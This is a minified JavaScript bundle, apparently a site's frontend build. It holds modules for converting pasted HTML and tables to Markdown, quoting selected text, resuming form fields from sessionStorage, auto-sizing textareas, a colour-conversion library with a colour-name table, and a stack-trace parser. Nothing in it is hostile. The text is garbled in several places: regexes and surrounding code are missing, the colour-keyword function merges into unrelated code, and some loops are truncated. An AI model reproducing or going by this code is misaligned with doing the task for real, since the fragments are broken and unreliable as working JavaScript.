re(f){f.removeEventListener("dragover",ce),f.removeEventListener("drop",G),f.removeEventListener("paste",ie)}i(re,"uninstall$1");function G(f){const y=f.dataTransfer;if(!y||le(y))return;const k=L(y);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(G,"onDrop");function ce(f){const y=f.dataTransfer;y&&(y.dropEffect="copy")}i(ce,"onDragover");function ie(f){const{currentTarget:y}=f;if(e(y)||!f.clipboardData)return;const k=L(f.clipboardData);if(!k)return;f.stopPropagation(),f.preventDefault();const C=f.currentTarget;C instanceof HTMLTextAreaElement&&b(C,k)}i(ie,"onPaste$1");function le(f){return Array.from(f.types).indexOf("Files")>=0}i(le,"hasFile");function ae(f){const y="\xA0";return(f.textContent||"").trim().replace(/\|/g,"\\|").replace(/\n/g," ")||y}i(ae,"columnText");function de(f){return Array.from(f.querySelectorAll("td, th")).map(ae)}i(de,"tableHeaders");function ue(f){const y=Array.from(f.querySelectorAll("tr")),k=y.shift();if(!k)return"";const C=de(k),O=C.map(()=>"--"),q=`${C.join(" | ")} +${O.join(" | ")} +`,Y=y.map(J=>Array.from(J.querySelectorAll("td")).map(ae).join(" | ")).join(` +`);return` +${q}${Y} + +`}i(ue,"tableMarkdown");function L(f){if(Array.from(f.types).indexOf("text/html")===-1)return;const y=f.getData("text/html");if(!//,"").replace(//,` +${q}`)}i(L,"generateText");function j(f){f.addEventListener("paste",K)}i(j,"install");function W(f){f.removeEventListener("paste",K)}i(W,"uninstall");function K(f){const{currentTarget:y}=f;if(e(y))return;const k=f.clipboardData;if(!k||!V(k))return;const C=f.currentTarget;if(!(C instanceof HTMLTextAreaElement))return;const O=k.getData("text/x-gfm");!O||(f.stopPropagation(),f.preventDefault(),b(C,O))}i(K,"onPaste");function V(f){return Array.from(f.types).indexOf("text/x-gfm")>=0}i(V,"hasMarkdown");function oe(f){return o(f,B,w,A,j,n),{unsubscribe:()=>{t(f),re(f),r(f),x(f),R(f),W(f)}}}i(oe,"subscribe")},55498:(N,M,E)=>{"use strict";E.d(M,{I:()=>a,p:()=>u});function b(s){const c=s.parentNode;if(c===null||!(c instanceof HTMLElement))throw new Error;let m=0;c instanceof HTMLOListElement&&c.start!==1&&(m=c.start-1);const d=c.children;for(let p=0;p/g,">")}i(t,"escapeAttribute");const n={INPUT(s){return s instanceof HTMLInputElement&&s.checked?"[x] ":"[ ] "},CODE(s){const c=s.textContent||"";return s.parentNode&&s.parentNode.nodeName==="PRE"?(s.textContent=`\`\`\` +${c.replace(/\n+$/,"")} +\`\`\` + +`,s):c.indexOf("`")>=0?`\`\` ${c} \`\``:`\`${c}\``},P(s){const c=document.createElement("p"),m=s.textContent||"";return c.textContent=m.replace(/<(\/?)(pre|strong|weak|em)>/g,"\\<$1$2\\>"),c},STRONG(s){return`**${s.textContent||""}**`},EM(s){return`_${s.textContent||""}_`},DEL(s){return`~${s.textContent||""}~`},BLOCKQUOTE(s){const c=(s.textContent||"").trim().replace(/^/gm,"> "),m=document.createElement("pre");return m.textContent=`${c} + +`,m},A(s){const c=s.textContent||"",m=s.getAttribute("href");return/^https?:/.test(c)&&c===m?c:m?`[${c}](${m})`:c},IMG(s){const c=s.getAttribute("alt")||"",m=s.getAttribute("src");if(!m)throw new Error;const d=s.hasAttribute("width")?` width="${t(s.getAttribute("width")||"")}"`:"",p=s.hasAttribute("height")?` height="${t(s.getAttribute("height")||"")}"`:"";return d||p?`${t(c)}`:`![${c}](${m})`},LI(s){const c=s.parentNode;if(!c)throw new Error;let m="";o(s)||(c.nodeName==="OL"?e>0&&!c.previousSibling?m=`${b(s)+e+1}\\. `:m=`${b(s)+1}. `:m="* ");const d=m.replace(/\S/g," "),p=(s.textContent||"").trim().replace(/^/gm,d),g=document.createElement("pre");return g.textContent=p.replace(d,m),g},OL(s){const c=document.createElement("li");return c.appendChild(document.createElement("br")),s.append(c),s},H1(s){const c=parseInt(s.nodeName.slice(1));return s.prepend(`${Array(c+1).join("#")} `),s},UL(s){return s}};n.UL=n.OL;for(let s=2;s<=6;++s)n[`H${s}`]=n.H1;function r(s){const c=document.createNodeIterator(s,NodeFilter.SHOW_ELEMENT,{acceptNode(p){return p.nodeName in n&&!_(p)&&(h(p)||v(p))?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),m=[];let d=c.nextNode();for(;d;)d instanceof HTMLElement&&m.push(d),d=c.nextNode();m.reverse();for(const p of m)p.replaceWith(n[p.nodeName](p))}i(r,"insertMarkdownSyntax");function l(s,c){const m=s.startContainer;if(!m||!m.parentNode||!(m.parentNode instanceof HTMLElement))throw new Error("the range must start within an HTMLElement");const d=m.parentNode;let p=s.cloneContents();if(c){const x=p.querySelector(c);x&&(p=document.createDocumentFragment(),p.appendChild(x))}e=0;const g=d.closest("li");if(d.closest("pre")){const x=document.createElement("pre");x.appendChild(p),p=document.createDocumentFragment(),p.appendChild(x)}else if(g&&g.parentNode&&(g.parentNode.nodeName==="OL"&&(e=b(g)),!p.querySelector("li"))){const x=document.createElement("li");if(!g.parentNode)throw new Error;const I=document.createElement(g.parentNode.nodeName);x.appendChild(p),I.appendChild(x),p=document.createDocumentFragment(),p.appendChild(I)}return p}i(l,"extractFragment");class u{constructor(){this.selection=window.getSelection()}closest(c){const m=this.range.startContainer,d=m instanceof Element?m:m.parentElement;return d?d.closest(c):null}get active(){var c;return(((c=this.selection)===null||c===void 0?void 0:c.rangeCount)||0)>0}get range(){var c;return((c=this.selection)===null||c===void 0?void 0:c.rangeCount)?this.selection.getRangeAt(0):new Range}set range(c){var m,d;(m=this.selection)===null||m===void 0||m.removeAllRanges(),(d=this.selection)===null||d===void 0||d.addRange(c)}get selectionText(){var c;return((c=this.selection)===null||c===void 0?void 0:c.toString().trim())||""}get quotedText(){return`> ${this.selectionText.replace(/\n/g,` +> `)} + +`}select(c){this.selection&&(this.selection.removeAllRanges(),this.selection.selectAllChildren(c))}insert(c){c.value?c.value=`${c.value} + +${this.quotedText}`:c.value=this.quotedText,c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),c.focus(),c.selectionStart=c.value.length,c.scrollTop=c.scrollHeight}}i(u,"Quote");class a extends u{constructor(c="",m){super();this.scopeSelector=c,this.callback=m}get selectionText(){var c,m;if(!this.selection)return"";const d=l(this.range,(c=this.scopeSelector)!==null&&c!==void 0?c:"");(m=this.callback)===null||m===void 0||m.call(this,d),r(d);const p=document.body;if(!p)return"";const g=document.createElement("div");g.appendChild(d),g.style.cssText="position:absolute;left:-9999px;",p.appendChild(g);let w="";try{const x=document.createRange();x.selectNodeContents(g),this.selection.removeAllRanges(),this.selection.addRange(x),w=this.selection.toString(),this.selection.removeAllRanges(),x.detach()}finally{p.removeChild(g)}return w.trim()}}i(a,"MarkdownQuote")},407:(N,M,E)=>{"use strict";E.d(M,{Xm:()=>h,e6:()=>v,iO:()=>e});let b=null;function _(o){return!!o.id&&o.value!==o.defaultValue&&o.form!==b}i(_,"shouldResumeField");function h(o,t){var n,r;const l=(n=t==null?void 0:t.selector)!==null&&n!==void 0?n:".js-session-resumable",a=`${(r=t==null?void 0:t.keyPrefix)!==null&&r!==void 0?r:"session-resume:"}${o}`,s=[];for(const m of document.querySelectorAll(l))(m instanceof HTMLInputElement||m instanceof HTMLTextAreaElement)&&s.push(m);let c=s.filter(m=>_(m)).map(m=>[m.id,m.value]);if(c.length)try{const m=sessionStorage.getItem(a);if(m!==null){const p=JSON.parse(m).filter(function(g){return!c.some(w=>w[0]===g[0])});c=c.concat(p)}sessionStorage.setItem(a,JSON.stringify(c))}catch{}}i(h,"persistResumableFields");function v(o,t){var n;const l=`${(n=t==null?void 0:t.keyPrefix)!==null&&n!==void 0?n:"session-resume:"}${o}`;let u;try{u=sessionStorage.getItem(l)}catch{}if(!u)return;const a=[],s=[];for(const[c,m]of JSON.parse(u)){const d=new CustomEvent("session:resume",{bubbles:!0,cancelable:!0,detail:{targetId:c,targetValue:m}});if(document.dispatchEvent(d)){const p=document.getElementById(c);p&&(p instanceof HTMLInputElement||p instanceof HTMLTextAreaElement)?p.value===p.defaultValue&&(p.value=m,a.push(p)):s.push([c,m])}}if(s.length===0)try{sessionStorage.removeItem(l)}catch{}else sessionStorage.setItem(l,JSON.stringify(s));setTimeout(function(){for(const c of a)c.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!0}))},0)}i(v,"restoreResumableFields");function e(o){b=o.target,setTimeout(function(){o.defaultPrevented&&(b=null)},0)}i(e,"setForm")},54430:(N,M,E)=>{"use strict";E.d(M,{Z:()=>_});function b(h){var v=null,e=!1,o=void 0,t=void 0,n=void 0;function r(d){if(o!==d.clientX||t!==d.clientY){var p=h.style.height;n&&n!==p&&(e=!0,h.style.maxHeight="",h.removeEventListener("mousemove",r)),n=p}o=d.clientX,t=d.clientY}i(r,"onUserResize");var l=h.ownerDocument,u=l.documentElement;function a(){for(var d=0,p=h;p!==l.body&&p!==null;)d+=p.offsetTop||0,p=p.offsetParent;var g=d-l.defaultView.pageYOffset,w=u.clientHeight-(g+h.offsetHeight);return{top:g,bottom:w}}i(a,"overflowOffset");function s(){if(!e&&h.value!==v&&!(h.offsetWidth<=0&&h.offsetHeight<=0)){var d=a(),p=d.top,g=d.bottom;if(!(p<0||g<0)){var w=Number(getComputedStyle(h).height.replace(/px/,""))+g;h.style.maxHeight=w-100+"px";var x=h.parentElement;if(x instanceof HTMLElement){var I=x.style.height;x.style.height=getComputedStyle(x).height,h.style.height="auto",h.style.height=h.scrollHeight+"px",x.style.height=I,n=h.style.height}v=h.value}}}i(s,"sizeToFit");function c(){e=!1,h.style.height="",h.style.maxHeight=""}i(c,"onFormReset"),h.addEventListener("mousemove",r),h.addEventListener("input",s),h.addEventListener("change",s);var m=h.form;return m&&m.addEventListener("reset",c),h.value&&s(),{unsubscribe:i(function(){h.removeEventListener("mousemove",r),h.removeEventListener("input",s),h.removeEventListener("change",s),m&&m.removeEventListener("reset",c)},"unsubscribe")}}i(b,"autosize");const _=b},48168:(N,M,E)=>{const b=E(39092),_={};for(const e of Object.keys(b))_[b[e]]=e;const h={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};N.exports=h;for(const e of Object.keys(h)){if(!("channels"in h[e]))throw new Error("missing channels property: "+e);if(!("labels"in h[e]))throw new Error("missing channel labels property: "+e);if(h[e].labels.length!==h[e].channels)throw new Error("channel and label counts mismatch: "+e);const{channels:o,labels:t}=h[e];delete h[e].channels,delete h[e].labels,Object.defineProperty(h[e],"channels",{value:o}),Object.defineProperty(h[e],"labels",{value:t})}h.rgb.hsl=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(o,t,n),l=Math.max(o,t,n),u=l-r;let a,s;l===r?a=0:o===l?a=(t-n)/u:t===l?a=2+(n-o)/u:n===l&&(a=4+(o-t)/u),a=Math.min(a*60,360),a<0&&(a+=360);const c=(r+l)/2;return l===r?s=0:c<=.5?s=u/(l+r):s=u/(2-l-r),[a,s*100,c*100]},h.rgb.hsv=function(e){let o,t,n,r,l;const u=e[0]/255,a=e[1]/255,s=e[2]/255,c=Math.max(u,a,s),m=c-Math.min(u,a,s),d=i(function(p){return(c-p)/6/m+1/2},"diffc");return m===0?(r=0,l=0):(l=m/c,o=d(u),t=d(a),n=d(s),u===c?r=n-t:a===c?r=1/3+o-n:s===c&&(r=2/3+t-o),r<0?r+=1:r>1&&(r-=1)),[r*360,l*100,c*100]},h.rgb.hwb=function(e){const o=e[0],t=e[1];let n=e[2];const r=h.rgb.hsl(e)[0],l=1/255*Math.min(o,Math.min(t,n));return n=1-1/255*Math.max(o,Math.max(t,n)),[r,l*100,n*100]},h.rgb.cmyk=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.min(1-o,1-t,1-n),l=(1-o-r)/(1-r)||0,u=(1-t-r)/(1-r)||0,a=(1-n-r)/(1-r)||0;return[l*100,u*100,a*100,r*100]};function v(e,o){return(e[0]-o[0])**2+(e[1]-o[1])**2+(e[2]-o[2])**2}i(v,"comparativeDistance"),h.rgb.keyword=function(e){const o=_[e];if(o)return o;let t=1/0,n;for(const r of Object.keys(b)){const l=b[r],u=v(e,l);u.04045?((o+.055)/1.055)**2.4:o/12.92,t=t>.04045?((t+.055)/1.055)**2.4:t/12.92,n=n>.04045?((n+.055)/1.055)**2.4:n/12.92;const r=o*.4124+t*.3576+n*.1805,l=o*.2126+t*.7152+n*.0722,u=o*.0193+t*.1192+n*.9505;return[r*100,l*100,u*100]},h.rgb.lab=function(e){const o=h.rgb.xyz(e);let t=o[0],n=o[1],r=o[2];t/=95.047,n/=100,r/=108.883,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116,r=r>.008856?r**(1/3):7.787*r+16/116;const l=116*n-16,u=500*(t-n),a=200*(n-r);return[l,u,a]},h.hsl.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;let r,l,u;if(t===0)return u=n*255,[u,u,u];n<.5?r=n*(1+t):r=n+t-n*t;const a=2*n-r,s=[0,0,0];for(let c=0;c<3;c++)l=o+1/3*-(c-1),l<0&&l++,l>1&&l--,6*l<1?u=a+(r-a)*6*l:2*l<1?u=r:3*l<2?u=a+(r-a)*(2/3-l)*6:u=a,s[c]=u*255;return s},h.hsl.hsv=function(e){const o=e[0];let t=e[1]/100,n=e[2]/100,r=t;const l=Math.max(n,.01);n*=2,t*=n<=1?n:2-n,r*=l<=1?l:2-l;const u=(n+t)/2,a=n===0?2*r/(l+r):2*t/(n+t);return[o,a*100,u*100]},h.hsv.rgb=function(e){const o=e[0]/60,t=e[1]/100;let n=e[2]/100;const r=Math.floor(o)%6,l=o-Math.floor(o),u=255*n*(1-t),a=255*n*(1-t*l),s=255*n*(1-t*(1-l));switch(n*=255,r){case 0:return[n,s,u];case 1:return[a,n,u];case 2:return[u,n,s];case 3:return[u,a,n];case 4:return[s,u,n];case 5:return[n,u,a]}},h.hsv.hsl=function(e){const o=e[0],t=e[1]/100,n=e[2]/100,r=Math.max(n,.01);let l,u;u=(2-t)*n;const a=(2-t)*r;return l=t*r,l/=a<=1?a:2-a,l=l||0,u/=2,[o,l*100,u*100]},h.hwb.rgb=function(e){const o=e[0]/360;let t=e[1]/100,n=e[2]/100;const r=t+n;let l;r>1&&(t/=r,n/=r);const u=Math.floor(6*o),a=1-n;l=6*o-u,(u&1)!==0&&(l=1-l);const s=t+l*(a-t);let c,m,d;switch(u){default:case 6:case 0:c=a,m=s,d=t;break;case 1:c=s,m=a,d=t;break;case 2:c=t,m=a,d=s;break;case 3:c=t,m=s,d=a;break;case 4:c=s,m=t,d=a;break;case 5:c=a,m=t,d=s;break}return[c*255,m*255,d*255]},h.cmyk.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100,r=e[3]/100,l=1-Math.min(1,o*(1-r)+r),u=1-Math.min(1,t*(1-r)+r),a=1-Math.min(1,n*(1-r)+r);return[l*255,u*255,a*255]},h.xyz.rgb=function(e){const o=e[0]/100,t=e[1]/100,n=e[2]/100;let r,l,u;return r=o*3.2406+t*-1.5372+n*-.4986,l=o*-.9689+t*1.8758+n*.0415,u=o*.0557+t*-.204+n*1.057,r=r>.0031308?1.055*r**(1/2.4)-.055:r*12.92,l=l>.0031308?1.055*l**(1/2.4)-.055:l*12.92,u=u>.0031308?1.055*u**(1/2.4)-.055:u*12.92,r=Math.min(Math.max(0,r),1),l=Math.min(Math.max(0,l),1),u=Math.min(Math.max(0,u),1),[r*255,l*255,u*255]},h.xyz.lab=function(e){let o=e[0],t=e[1],n=e[2];o/=95.047,t/=100,n/=108.883,o=o>.008856?o**(1/3):7.787*o+16/116,t=t>.008856?t**(1/3):7.787*t+16/116,n=n>.008856?n**(1/3):7.787*n+16/116;const r=116*t-16,l=500*(o-t),u=200*(t-n);return[r,l,u]},h.lab.xyz=function(e){const o=e[0],t=e[1],n=e[2];let r,l,u;l=(o+16)/116,r=t/500+l,u=l-n/200;const a=l**3,s=r**3,c=u**3;return l=a>.008856?a:(l-16/116)/7.787,r=s>.008856?s:(r-16/116)/7.787,u=c>.008856?c:(u-16/116)/7.787,r*=95.047,l*=100,u*=108.883,[r,l,u]},h.lab.lch=function(e){const o=e[0],t=e[1],n=e[2];let r;r=Math.atan2(n,t)*360/2/Math.PI,r<0&&(r+=360);const u=Math.sqrt(t*t+n*n);return[o,u,r]},h.lch.lab=function(e){const o=e[0],t=e[1],r=e[2]/360*2*Math.PI,l=t*Math.cos(r),u=t*Math.sin(r);return[o,l,u]},h.rgb.ansi16=function(e,o=null){const[t,n,r]=e;let l=o===null?h.rgb.hsv(e)[2]:o;if(l=Math.round(l/50),l===0)return 30;let u=30+(Math.round(r/255)<<2|Math.round(n/255)<<1|Math.round(t/255));return l===2&&(u+=60),u},h.hsv.ansi16=function(e){return h.rgb.ansi16(h.hsv.rgb(e),e[2])},h.rgb.ansi256=function(e){const o=e[0],t=e[1],n=e[2];return o===t&&t===n?o<8?16:o>248?231:Math.round((o-8)/247*24)+232:16+36*Math.round(o/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},h.ansi16.rgb=function(e){let o=e%10;if(o===0||o===7)return e>50&&(o+=3.5),o=o/10.5*255,[o,o,o];const t=(~~(e>50)+1)*.5,n=(o&1)*t*255,r=(o>>1&1)*t*255,l=(o>>2&1)*t*255;return[n,r,l]},h.ansi256.rgb=function(e){if(e>=232){const l=(e-232)*10+8;return[l,l,l]}e-=16;let o;const t=Math.floor(e/36)/5*255,n=Math.floor((o=e%36)/6)/5*255,r=o%6/5*255;return[t,n,r]},h.rgb.hex=function(e){const t=(((Math.round(e[0])&255)<<16)+((Math.round(e[1])&255)<<8)+(Math.round(e[2])&255)).toString(16).toUpperCase();return"000000".substring(t.length)+t},h.hex.rgb=function(e){const o=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!o)return[0,0,0];let t=o[0];o[0].length===3&&(t=t.split("").map(a=>a+a).join(""));const n=parseInt(t,16),r=n>>16&255,l=n>>8&255,u=n&255;return[r,l,u]},h.rgb.hcg=function(e){const o=e[0]/255,t=e[1]/255,n=e[2]/255,r=Math.max(Math.max(o,t),n),l=Math.min(Math.min(o,t),n),u=r-l;let a,s;return u<1?a=l/(1-u):a=0,u<=0?s=0:r===o?s=(t-n)/u%6:r===t?s=2+(n-o)/u:s=4+(o-t)/u,s/=6,s%=1,[s*360,u*100,a*100]},h.hsl.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=t<.5?2*o*t:2*o*(1-t);let r=0;return n<1&&(r=(t-.5*n)/(1-n)),[e[0],n*100,r*100]},h.hsv.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=o*t;let r=0;return n<1&&(r=(t-n)/(1-n)),[e[0],n*100,r*100]},h.hcg.rgb=function(e){const o=e[0]/360,t=e[1]/100,n=e[2]/100;if(t===0)return[n*255,n*255,n*255];const r=[0,0,0],l=o%1*6,u=l%1,a=1-u;let s=0;switch(Math.floor(l)){case 0:r[0]=1,r[1]=u,r[2]=0;break;case 1:r[0]=a,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=u;break;case 3:r[0]=0,r[1]=a,r[2]=1;break;case 4:r[0]=u,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=a}return s=(1-t)*n,[(t*r[0]+s)*255,(t*r[1]+s)*255,(t*r[2]+s)*255]},h.hcg.hsv=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);let r=0;return n>0&&(r=o/n),[e[0],r*100,n*100]},h.hcg.hsl=function(e){const o=e[1]/100,n=e[2]/100*(1-o)+.5*o;let r=0;return n>0&&n<.5?r=o/(2*n):n>=.5&&n<1&&(r=o/(2*(1-n))),[e[0],r*100,n*100]},h.hcg.hwb=function(e){const o=e[1]/100,t=e[2]/100,n=o+t*(1-o);return[e[0],(n-o)*100,(1-n)*100]},h.hwb.hcg=function(e){const o=e[1]/100,t=e[2]/100,n=1-t,r=n-o;let l=0;return r<1&&(l=(n-r)/(1-r)),[e[0],r*100,l*100]},h.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},h.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},h.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},h.gray.hsl=function(e){return[0,0,e[0]]},h.gray.hsv=h.gray.hsl,h.gray.hwb=function(e){return[0,100,e[0]]},h.gray.cmyk=function(e){return[0,0,0,e[0]]},h.gray.lab=function(e){return[e[0],0,0]},h.gray.hex=function(e){const o=Math.round(e[0]/100*255)&255,n=((o<<16)+(o<<8)+o).toString(16).toUpperCase();return"000000".substring(n.length)+n},h.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},12085:(N,M,E)=>{const b=E(48168),_=E(4111),h={},v=Object.keys(b);function e(t){const n=i(function(...r){const l=r[0];return l==null?l:(l.length>1&&(r=l),t(r))},"wrappedFn");return"conversion"in t&&(n.conversion=t.conversion),n}i(e,"wrapRaw");function o(t){const n=i(function(...r){const l=r[0];if(l==null)return l;l.length>1&&(r=l);const u=t(r);if(typeof u=="object")for(let a=u.length,s=0;s{h[t]={},Object.defineProperty(h[t],"channels",{value:b[t].channels}),Object.defineProperty(h[t],"labels",{value:b[t].labels});const n=_(t);Object.keys(n).forEach(l=>{const u=n[l];h[t][l]=o(u),h[t][l].raw=e(u)})}),N.exports=h},39092:N=>{"use strict";N.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},4111:(N,M,E)=>{const b=E(48168);function _(){const o={},t=Object.keys(b);for(let n=t.length,r=0;r{"use strict";E.d(M,{_8:()=>b,uQ:()=>_});function b(e,o){return _(h(e),o)}i(b,"preserveAnchorNodePosition");function _(e,o){var t=e;if(!t)return Promise.resolve(o());var n=t.ownerDocument.documentElement;function r(a){for(var s=[];a;){var c=a.getBoundingClientRect(),m=c.top,d=c.left;s.push({element:a,top:m,left:d}),a=a.parentElement}return s}i(r,"computeAncestorBoundingRects");function l(a){for(var s=0;s{"use strict";E.d(M,{Q:()=>_});var b="";function _(m){var d=m.split(` +`);return d.reduce(function(p,g){var w=e(g)||t(g)||l(g)||c(g)||a(g);return w&&p.push(w),p},[])}i(_,"parse");var h=/^\s*at (.*?) ?\(((?:file|https?|blob|chrome-extension|native|eval|webpack||\/).*?)(?::(\d+))?(?::(\d+))?\)?\s*$/i,v=/\((\S*)(?::(\d+))(?::(\d+))\)/;function e(m){var d=h.exec(m);if(!d)return null;var p=d[2]&&d[2].indexOf("native")===0,g=d[2]&&d[2].indexOf("eval")===0,w=v.exec(d[2]);return g&&w!=null&&(d[2]=w[1],d[3]=w[2],d[4]=w[3]),{file:p?null:d[2],methodName:d[1]||b,arguments:p?[d[2]]:[],lineNumber:d[3]?+d[3]:null,column:d[4]?+d[4]:null}}i(e,"parseChrome");var o=/^\s*at (?:((?:\[object object\])?.+) )?\(?((?:file|ms-appx|https?|webpack|blob):.*?):(\d+)(?::(\d+))?\)?\s*$/i;function t(m){var d=o.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(t,"parseWinjs");var n=/^\s*(.*?)(?:\((.*?)\))?(?:^|@)((?:file|https?|blob|chrome|webpack|resource|\[native).*?|[^@]*bundle)(?::(\d+))?(?::(\d+))?\s*$/i,r=/(\S+) line (\d+)(?: > eval line \d+)* > eval/i;function l(m){var d=n.exec(m);if(!d)return null;var p=d[3]&&d[3].indexOf(" > eval")>-1,g=r.exec(d[3]);return p&&g!=null&&(d[3]=g[1],d[4]=g[2],d[5]=null),{file:d[3],methodName:d[1]||b,arguments:d[2]?d[2].split(","):[],lineNumber:d[4]?+d[4]:null,column:d[5]?+d[5]:null}}i(l,"parseGecko");var u=/^\s*(?:([^@]*)(?:\((.*?)\))?@)?(\S.*?):(\d+)(?::(\d+))?\s*$/i;function a(m){var d=u.exec(m);return d?{file:d[3],methodName:d[1]||b,arguments:[],lineNumber:+d[4],column:d[5]?+d[5]:null}:null}i(a,"parseJSC");var s=/^\s*at (?:((?:\[object object\])?[^\\/]+(?: \[as \S+\])?) )?\(?(.*?):(\d+)(?::(\d+))?\)?\s*$/i;function c(m){var d=s.exec(m);return d?{file:d[2],methodName:d[1]||b,arguments:[],lineNumber:+d[3],column:d[4]?+d[4]:null}:null}i(c,"parseNode")},82131:(N,M,E)=>{"use strict";E.d(M,{CA:()=>ne,Tb:()=>te,Tx:()=>X,Y:()=>c,kz:()=>p});var b,_,h,v,e=i(function(P,T){return{name:P,value:T===void 0?-1:T,delta:0,entries:[],id:"v2-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12)}},"r"),o=i(function(P,T){try{if(PerformanceObserver.supportedEntryTypes.includes(P)){if(P==="first-input"&&!("PerformanceEventTiming"in self))return;var A=new PerformanceObserver(function(R){return R.getEntries().map(T)});return A.observe({type:P,buffered:!0}),A}}catch{}},"a"),t=i(function(P,T){var A=i(function R(S){S.type!=="pagehide"&&document.visibilityState!=="hidden"||(P(S),T&&(removeEventListener("visibilitychange",R,!0),removeEventListener("pagehide",R,!0)))},"n");addEventListener("visibilitychange",A,!0),addEventListener("pagehide",A,!0)},"o"),n=i(function(P){addEventListener("pageshow",function(T){T.persisted&&P(T)},!0)},"u"),r=i(function(P,T,A){var R;return function(S){T.value>=0&&(S||A)&&(T.delta=T.value-(R||0),(T.delta||R===void 